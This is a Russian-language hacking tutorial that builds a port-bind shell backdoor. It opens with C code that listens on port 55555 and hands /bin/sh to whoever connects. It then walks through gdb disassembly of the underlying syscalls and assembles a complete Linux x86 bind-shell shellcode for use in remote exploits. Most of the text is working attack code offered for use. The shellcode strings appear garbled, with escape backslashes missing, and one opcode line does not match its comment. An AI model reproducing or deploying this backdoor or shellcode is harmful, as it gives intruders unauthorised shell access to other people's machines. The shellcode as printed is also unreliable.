Что такое Port-shell, я думаю вы знаете: это программа, которая открывает доступ к шеллу на определенном порту. Запустив такую программу, вы сможете подсоединяться к удаленному хосту и выполнять любые команды на этой удаленной машине, с теми привилегиями, с которыми была запущенна данная программа.
Вообще, на написание данной статьи меня толкнула одна статья. Дело в том, что они писали о backdoor'e, который записывал в /etc/passwd новый аккаунт с привилегиями рута (uid=0; gid=0) при посылке определенной команды на определенный порт. Мне же не очень понравилась эта идея, так как к удаленному компьютеру невозможно было бы подсоединиться, если бы на нем отстутсвовали такие утилиты как telnetd, sshd и т.п. Небыло бы толку от этого бэкдора при их отстутсвии, поэтому нужен шелл. Вот мы и примимся за его написание.
Сам код программы не очень большой, так как программа всего-навсего открывает нужный нам порт и запускает оболочку, выход которой синхронизирован с дескриптором сокета:
//все нужные и не нужные инклуды
int soc,cli;
struct sockaddr_in serv_addr;
struct sockaddr_in cli_addr;
int main()
{
if(fork()==0)
{
serv_addr.sin_family=AF_INET;
serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
serv_addr.sin_port=htons(55555);
soc=socket(AF_INET,SOCK_STREAM,0);
bind(soc,(struct sockaddr *)&serv_addr,sizeof(serv_addr));
listen(soc,1);
cli=accept(soc,(struct sockaddr *)&cli_addr,sizeof(cli_addr));
dup2(cli,0);
dup2(cli,1);
dup2(cli,2);
execl("/bin/sh","sh",0);
}
}
вот и весь код =). Но это еще не все. Данный код очень удобно использовать для написания remote exploits. Все что нужно - перевести данный код в ассемблерный и вытащить ОПКОД. Этим мы и займемся: пользоваться мы будем gdb, итак, поехали:
(gdb) disas dup2
Dump of assembler code for function dup2:
0x804cbe0 : movl %ebx,%edx
0x804cbe2 : movl 0x8(%esp,1),%ecx
0x804cbe6 : movl 0x4(%esp,1),%ebx
0x804cbea : movl $0x3f,%eax
0x804cbef : int $0x80
0x804cbf1 : movl %edx,%ebx
0x804cbf3 : cmpl $0xfffff001,%eax
0x804cbf8 : jae 0x804cdc0 <__syscall_error>
0x804cbfe : ret
0x804cbff : nop
End of assembler dump.
(gdb) disas fork
Dump of assembler code for function fork:
0x804ca90 : movl $0x2,%eax
0x804ca95 : int $0x80
0x804ca97 : cmpl $0xfffff001,%eax
0x804ca9c : jae 0x804cdc0 <__syscall_error>
0x804caa2 : ret
0x804caa3 : nop
0x804caa4 : nop
0x804caa5 : nop
0x804caa6 : nop
0x804caa7 : nop
0x804caa8 : nop
0x804caa9 : nop
0x804caaa : nop
0x804caab : nop
0x804caac : nop
0x804caad : nop
0x804caae : nop
0x804caaf : nop
End of assembler dump.
(gdb) disas socket
Dump of assembler code for function socket:
0x804cda0 : movl %ebx,%edx
0x804cda2 : movl $0x66,%eax
0x804cda7 : movl $0x1,%ebx
0x804cdac : leal 0x4(%esp,1),%ecx
0x804cdb0 : int $0x80
0x804cdb2 : movl %edx,%ebx
0x804cdb4 : cmpl $0xffffff83,%eax
0x804cdb7 : jae 0x804cdc0 <__syscall_error>
0x804cdbd : ret
0x804cdbe : nop
0x804cdbf : nop
End of assembler dump.
(gdb) disas bind
Dump of assembler code for function bind:
0x804cd60 : movl %ebx,%edx
0x804cd62 : movl $0x66,%eax
0x804cd67 : movl $0x2,%ebx
0x804cd6c : leal 0x4(%esp,1),%ecx
0x804cd70 : int $0x80
0x804cd72 : movl %edx,%ebx
0x804cd74 : cmpl $0xffffff83,%eax
0x804cd77 : jae 0x804cdc0 <__syscall_error>
0x804cd7d : ret
0x804cd7e : nop
0x804cd7f : nop
End of assembler dump.
(gdb) disas listen
Dump of assembler code for function listen:
0x804cd80 : movl %ebx,%edx
0x804cd82 : movl $0x66,%eax
0x804cd87 : movl $0x4,%ebx
0x804cd8c : leal 0x4(%esp,1),%ecx
0x804cd90 : int $0x80
0x804cd92 : movl %edx,%ebx
0x804cd94 : cmpl $0xffffff83,%eax
0x804cd97 : jae 0x804cdc0 <__syscall_error>
0x804cd9d : ret
0x804cd9e : nop
0x804cd9f : nop
End of assembler dump.
(gdb) disas accept
Dump of assembler code for function __accept:
0x804cd40 <__accept>: movl %ebx,%edx
0x804cd42 <__accept+2>: movl $0x66,%eax
0x804cd47 <__accept+7>: movl $0x5,%ebx
0x804cd4c <__accept+12>: leal 0x4(%esp,1),%ecx
0x804cd50 <__accept+16>: int $0x80
0x804cd52 <__accept+18>: movl %edx,%ebx
0x804cd54 <__accept+20>: cmpl $0xffffff83,%eax
0x804cd57 <__accept+23>: jae 0x804cdc0 <__syscall_error>
0x804cd5d <__accept+29>: ret
0x804cd5e <__accept+30>: nop
0x804cd5f <__accept+31>: nop
End of assembler dump.
сам ОПКОД для каждой из этих функций выглядит следующим образом:
dup2(cli,0)
----------------------------------------------------------------------
char code[]=
"x88xc3" /* movb %al,%bl */
"xb0x3f" /* movb $0x3f,%al */
"x31xc9" /* xorl %ecx,%ecx */
"xcdx80"; /* int $0x80 */
----------------------------------------------------------------------
fork()
----------------------------------------------------------------------
сhar code[]=
"x31xc0" /* xorl %eax,%eax */
"xb0x02" /* movb $0x2,%al */
"xcdx80"; /* int $0x80 */
----------------------------------------------------------------------
socket(2,1,6)
----------------------------------------------------------------------
сhar code[]=
"x31xc0" /* xorl %eax,%eax */
"x31xdb" /* xorl %ebx,%ebx */
"x89xf1" /* movl %esi,%ecx */
"xb0x02" /* movb $0x2,%al */
"x89x06" /* movl %eax,(%esi) */
"xb0x01" /* movb $0x1,%al */
"x89x46x04" /* movl %eax,0x4(%esi) */
"xb0x06" /* movb $0x6,%al */
"x89x46x08" /* movl %eax,0x8(%esi) */
"xb0x66" /* movb $0x66,%al */
"xb3x01" /* movb $0x1,%bl */
"xcdx80"; /* int $0x80 */
----------------------------------------------------------------------
bind(soc,(struct sockaddr *)&serv_addr,0x10)
----------------------------------------------------------------------
сhar code[]=
"x89xf1" /* movl %esi,%ecx */
"x89x06" /* movl %eax,(%esi) */
"xb0x02" /* movb $0x2,%al */
"x66x89x46x0c" /* movw %ax,0xc(%esi) */
"xb0x77" /* movb $0x77,%al */
"x66x89x46x0e" /* movw %ax,0xe(%esi) */
"x8dx46x0c" /* leal 0xc(%esi),%eax */
"x89x46x04" /* movl %eax,0x4(%esi) */
"x31xc0" /* xorl %eax,%eax */
"x89x46x10" /* movl %eax,0x10(%esi) */
"xb0x10" /* movb $0x10,%al */
"x89x46x08" /* movl %eax,0x8(%esi) */
"xb0x66" /* movb $0x66,%al */
"xb3x02" /* movb $0x2,%bl */
"xcdx80"; /* int $0x80 */
----------------------------------------------------------------------
listen(soc,1)
----------------------------------------------------------------------
char code[]=
"x89xf1" /* movl %esi,%ecx */
"x89x06" /* movl %eax,(%esi) */
"xb0x01" /* movb $0x1,%al */
"x89x46x04" /* movl %eax,0x4(%esi) */
"xb0x66" /* movb $0x66,%al */
"xb3x04" /* movb $0x4,%bl */
"xcdx80"; /* int $0x80 */
----------------------------------------------------------------------
accept(soc,0,0)
----------------------------------------------------------------------
char code[]=
"x89xf1" /* movl %esi,%ecx */
"x89xf1" /* movl %eax,(%esi) */
"x31xc0" /* xorl %eax,%eax */
"x89x46x04" /* movl %eax,0x4(%esi) */
"x89x46x08" /* movl %eax,0x8(%esi) */
"xb0x66" /* movb $0x66,%al */
"xb3x05" /* movb $0x5,%bl */
"xcdx80"; /* int $0x80 */
----------------------------------------------------------------------
Теперь соединяем все это воедино и добавляем к этому вызов самого шела - получаем следующую байдень:
char shellcode[]=
"x31xc0" /* xorl %eax,%eax */
"xb0x02" /* movb $0x2,%al */
"xcdx80" /* int $0x80 */
"x85xc0" /* testl %eax,%eax */
"x75x43" /* jne 0x43 */
"xebx43" /* jmp 0x43 */
"x5e" /* popl %esi */
"x31xc0" /* xorl %eax,%eax */
"x31xdb" /* xorl %ebx,%ebx */
"x89xf1" /* movl %esi,%ecx */
"xb0x02" /* movb $0x2,%al */
"x89x06" /* movl %eax,(%esi) */
"xb0x01" /* movb $0x1,%al */
"x89x46x04" /* movl %eax,0x4(%esi) */
"xb0x06" /* movb $0x6,%al */
"x89x46x08" /* movl %eax,0x8(%esi) */
"xb0x66" /* movb $0x66,%al */
"xb3x01" /* movb $0x1,%bl */
"xcdx80" /* int $0x80 */
"x89x06" /* movl %eax,(%esi) */
"xb0x02" /* movb $0x2,%al */
"x66x89x46x0c" /* movw %ax,0xc(%esi) */
"xb0x77" /* movb $0x77,%al */
"x66x89x46x0e" /* movw %ax,0xe(%esi) */
"x8dx46x0c" /* leal 0xc(%esi),%eax */
"x89x46x04" /* movl %eax,0x4(%esi) */
"x31xc0" /* xorl %eax,%eax */
"x89x46x10" /* movl %eax,0x10(%esi) */
"xb0x10" /* movb $0x10,%al */
"x89x46x08" /* movl %eax,0x8(%esi) */
"xb0x66" /* movb $0x66,%al */
"xb3x02" /* movb $0x2,%bl */
"xcdx80" /* int $0x80 */
"xebx04" /* jmp 0x4 */
"xebx55" /* jmp 0x55 */
"xebx5b" /* jmp 0x5b */
"xb0x01" /* movb $0x1,%al */
"x89x46x04" /* movl %eax,0x4(%esi) */
"xb0x66" /* movb $0x66,%al */
"xb3x04" /* movb $0x4,%bl */
"xcdx80" /* int $0x80 */
"x31xc0" /* xorl %eax,%eax */
"x89x46x04" /* movl %eax,0x4(%esi) */
"x89x46x08" /* movl %eax,0x8(%esi) */
"xb0x66" /* movb $0x66,%al */
"xb3x05" /* movb $0x5,%bl */
"xcdx80" /* int $0x80 */
"x88xc3" /* movb %al,%bl */
"xb0x3f" /* movb $0x3f,%al */
"x31xc9" /* xorl %ecx,%ecx */
"xcdx80" /* int $0x80 */
"xb0x3f" /* movb $0x3f,%al */
"xb1x01" /* movb $0x1,%cl */
"xcdx80" /* int $0x80 */
"xb0x3f" /* movb $0x3f,%al */
"xb1x02" /* movb $0x2,%cl */
"xcdx80" /* int $0x80 */
"xb8x2fx62x69x6e" /* movl $0x6e69622f,%eax */
"x89x06" /* movl %eax,(%esi) */
"xb8x2fx73x68x2f" /* movl $0x2f68732f,%eax */
"x89x46x04" /* movl %eax,0x4(%esi) */
"x31xc0" /* xorl %eax,%eax */
"x88x46x07" /* movb %al,0x7(%esi) */
"x89x76x08" /* movl %esi,0x8(%esi) */
"x89x46x0c" /* movl %eax,0xc(%esi) */
"xb0x0b" /* movb $0xb,%al */
"x89xf3" /* movl %esi,%ebx */
"x8dx4ex08" /* leal 0x8(%esi),%ecx */
"x8dx56x0c" /* leal 0xc(%esi),%edx */
"xcdx80" /* int $0x80 */
"x31xc0" /* xorl %eax,%eax */
"xb0x01" /* movb $0x1,%al */
"x31xdb" /* xorl %ebx,%ebx */
"xcdx80" /* int $0x80 */
"xe8x5bxffxffxff"; /* call -0xa5 */
Ничего не понятно? Попробуйте проделать это на своей машине и привести к подобному виду. Кстати, как видите, код написан под Линукс, попробуйте его переделать под BSD.